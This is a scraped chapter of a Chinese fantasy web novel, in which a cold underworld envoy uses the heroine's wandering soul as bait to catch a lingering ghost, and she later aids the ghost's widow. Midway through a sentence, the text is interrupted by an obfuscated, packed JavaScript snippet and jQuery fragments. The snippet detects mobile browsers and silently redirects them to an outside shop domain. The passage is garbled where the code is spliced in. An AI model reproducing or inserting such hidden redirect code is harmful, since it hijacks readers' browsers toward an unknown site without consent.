文趣网 > 其他小说 > 栖魂:被情敌夺舍后 > 8. 缉魂
    院中,一个淡淡的影子站在雪地里。

    司离还是一身黑袍,银色的发束在冠中,仿佛一株冰雪玉树,不染世间半分尘埃。

    酉时开始,小雪纷纷未停过,他的周遭却没有脚印。

    也是,他又不是人。

    莺时走近,恭敬地唤了一声“司离大人”。

    司离似正出神,听到她的声音方回过神来,抬起一贯淡漠的眉眼。莺时也抬眸看他,不知道他的来意,难不成大过年的还找上门来跟她过不去吗?

    “找你缉魂。”他吐出几个字后,视线便调往别的方向。

    “?”

    “找你抓鬼。”玄武趴在司离肩头,直白地解释道。

    不是?大过年的找她去抓鬼?晦不晦气啊!再说他们两个鬼怪不去履行自己的本职工作,找她去抓,她会吗?莺时内心的白眼几乎要翻到天上去了。

    “你想说什么直接说便是,腹诽我也是听得见的。”

    “我不会抓鬼。”

    “不需要你会,你跟着我便是。”

    “我……我这还要守岁呢,走不开的。”

    “魂魄跟着去,肉身留下。”

    蛤?莺时嘴角抽搐,阴司使者就可以这么为所欲为?

    正僵持着,冷不丁听到不远处一声娇喝:“好啊,骆莺时,你竟敢私会外男!”

    莺时一怔,看向司离:“她怎么看得到你?”

    “今日是我原身。”

    来不及多想,骆婉婉已经疾步过来了,司离突然一展袍袖,将莺时挡在了自己身后。

    骆婉婉正得意,好不容易抓住了莺时的错处,私会外男,看国公府还会不会娶你!她一心想着把这两人拿下,不料才走到两人面前还未站定,司离猛地朝她一昂头,一张青面獠牙的鬼脸就那么猝不及防地出现在了她面前。

    她尚来不及惊叫出声,眼睛一翻,就吓晕在了地上。

    莺时惊魂甫定,司离方才那模样连她都着实吓了一跳。这会儿她懵懵地想起来:“这……等她醒来,怎么解释?”以骆婉婉的性子,不把这事嚷嚷得人尽皆知才怪?

    “她不会有这段记忆。”

    ……

    于是,莺时就这么被胁迫着与司离一起去缉魂了,当然去的只有她的魂魄,她的肉身如今还好好趴在正堂上同家人一道守岁呢,看起来就只是像睡着了。

    原来魂魄离体是这样的感觉,轻飘飘的好似一抹轻烟,来去无踪。

    司离手臂钳着她飞掠而去,突然他低头问她:“你要成亲了?”

    莺时一愣,点头应是。

    “容我提醒你,占着他人的肉身,这具肉身能为你用到何时可说不准。”

    “什么意思?”

    玄武在一旁忍不住插嘴。

    “也就是说有朝一日一旦你失了这具肉身,你这个未被记在阴司九魂录中魂魄可就成了游荡在这世间的孤魂野鬼,直到魂飞魄散。”

    “啊,那我该咋整?”

    “帮我们司离大人做事,或许就能保你平安。”玄武傲娇地说,“你一个生魂,魂魄中沾满了活人的气息,那些不肯去往阴司的鬼魂无不觊觎你的生气,且都对你没有防备,或许你可以以此帮着我们一道缉魂。”

    莺时听得云里雾里,然而说话间,他们已经到了城北小巷的一处民舍外。

    今日除夕,街头巷尾处处透着过年的喜气,家家户户门口贴着春联、挂着红灯笼,随处可见稚童雀跃蹦跳着点起小爆竹,炸开一团喜庆。可是这户人家却仿佛被隔在尘世欢喜之外,没有春联没有灯笼,透过破旧的院门望过去,只有屋里昏黄的灯影,在雪夜更显凄凉。

    “这是哪里?”

    莺时未听到回应,转头看去,那两位却已不见了踪影。

    神经啊,把她带到这里又跑了,莺时抬步要走,屋里却传来婴儿嘹亮的哭声,其中夹杂着妇人压抑的抽泣。她想看看屋内是什么情形,一探身,魂体竟穿过了院门。

    还来不及反应,一阵阴冷劲风迎面袭来,莺时本能地抬手挡住,再睁眼时几乎没被吓死,只见她面前突然出现一张惨白泛青的男子的脸,正睁着空洞乌黑的眼瞳围着她轻嗅。

    是个鬼魂没错了,莺时吓得一动不敢动。

    下一瞬,那鬼魂猛地张大了嘴,朝她脖颈处咬去。

    在鬼魂堪堪咬上她时,只见黑色袍袖翩然一展,刹那间莺时已落进司离怀里,与此同时,他手中所执的白色引魂花瞬间将那鬼魂引入其中。

    好半晌,莺时仍扒着司离的袖子不敢撒手不敢睁眼。

    “喂,你够了吧!要占我们司离大人的便宜到几时啊!”玄武不满地扒拉开她的手。

    莺时没好气,“我算是明白了,什么帮你们缉魂,合着就是拿我当诱饵呗?”

    “就差半寸,我就被他吃了!”她瞪着眼怒气冲冲。

    “有我在,必然不会。”司离的声音淡漠疏离,可他眼眸里的真诚莫名让她觉得竟有些可靠。

    “不愿前往阴司的鬼魂通常执念极深,百年难遇的生魂身上的生气可帮助他们留在人间,对他们来说是天大的诱惑,在他吸食你魂魄的时候也是他最疏于防备的时候,此时引魂事半功倍。”

    “工伤,这是工伤!”

    这活干一回就差点死了,她可干不了第二回,这可恶的司离还不如霍霄呢,霍霄还知道利诱,司离他直接就是威逼!

    “张开嘴。”司离手上不知何时多了一颗红色晶莹类似丸药的东西,“这能固你精魄。”

    玄武大叫:“大人,你怎么可以把七魄丹给她!”他不满地瞪着莺时。

    看来这是个好东西,莺时赶紧张嘴吞下。

    不知何时,屋内的妇人已经熄灭了灯火,小院沉入一片黑暗中,想必屋中人也不会料到方才片刻之间竟发生过那等惊心动魄之事。

    “所以,方才那鬼魂的执念,就是屋里的妇人和孩子吗?”

    司离沉默。

    “让我猜猜,定是那男子猝然而逝,放不下寡居的妻子和襁褓中的幼儿,因此凭着一腔执念固执地留在人间,留在这院中守着他们。”莺时生起恻隐之心,“可惜他还来不及

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660792|207168||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    最后再看他们一眼。”

    “收起你这无谓的同情心,他早已与妻儿殊途,执念也是枉然。”司离阴冷道。

    真是个冷漠的鬼!

    一路无话,待回到骆府时子时已过半,守岁即将结束,莺时正要转身往府里去,远处永乐楼的永乐大钟蓦然敲响了新年的第一下钟声,与此同时,梁京夜空中此起彼伏地绽开无数绚烂的烟花,瞬间点亮了沉寂的天幕。

    莺时回头,含笑对着站在雪地里的司离道了一声“新年快乐”,然后转身蹦跳着远去了。

    她眉眼弯弯似新月,唇角两点笑涡,含笑的模样仿佛他也是这喧嚣尘世中的一员,能够同她一般感受这人间欢喜。

    司离仰头望着这漫天烟花,用轻不可闻的声音说:“新年快乐。”

    第二日一大早,莺时就被画冬叫醒了。

    “姑娘,你昨夜守岁时便睡了大半宿,回来又睡,得赶紧起来去向老爷夫人拜年了。”

    这小丫头简直比班主任还可怕,她怎知她的姑娘忙活了一晚上有多累。

    梳洗过后,莺时去往正堂,规规矩矩向骆昀和柳氏拜了年。骆慎也上前来乖巧地向她拜年,莺时笑着揉了揉他的小脑袋,掏出一封红包递给他。

    莺时打眼看去,只见骆婉婉坐在一侧,神情倒不似有异。

    “听闻姐姐昨日摔倒在了院中,好一会儿才被丫鬟看到,可有大碍?”

    骆婉婉皮笑肉不笑地应了一声,“不过是些微有点儿受凉,没什么大碍,多谢妹妹关心了。”

    看来她果然不记得昨夜之事了。

    如此,众人寒暄了一番,便各自散了,想到昨夜的经历,莺时突然心念一动,便带着画冬循着记忆中的路线往城北而去。

    马车停在巷口,这条巷子在白天看起来比夜间更冷清破败,偶有几户房舍的门口,坐着衣着褴褛的老人,视线盯着莺时与画冬一路而过。

    在昨夜那个小院前停下,莺时正要敲门,院门却先从内打开了,一个妇人正神色惶然地看着她们。

    那妇人微微佝着背,穿一身洗得发白的蓝色粗布衣裙,枯黄的头发松松在脑后挽作髻,上面斜插着一根木簪。

    “你……你们找谁?”她神色惶然不安。

    莺时微笑,取过画冬手中的包裹递给妇人,“我们是养济院的人,大年初一,我们给孩子带了些东西,您收下。”

    “这……这怎么可以呢?”妇人又惊又喜,摇头推拒。

    “没什么不可以的,都是些小东西,给孩子玩耍。”莺时顿了一下又道:“大哥在世时给我们养济院帮了很多忙,他一定也牵挂着你们。”

    提到她男人,妇人眼眶红了,含着泪点了点头,“多谢。”

    回到车上,画冬不解道:“姑娘,这是谁?你怎么会认识的?”不光给了吃食点心、布料衣物,还几乎把手头的银钱都给了人家。

    “她没了丈夫,家里还有孩子要顾,日子过得很艰难,既知道了能帮便帮一下。”

    千金散尽还复来嘛,反正她很快要去霍霄那儿赚大钱去了!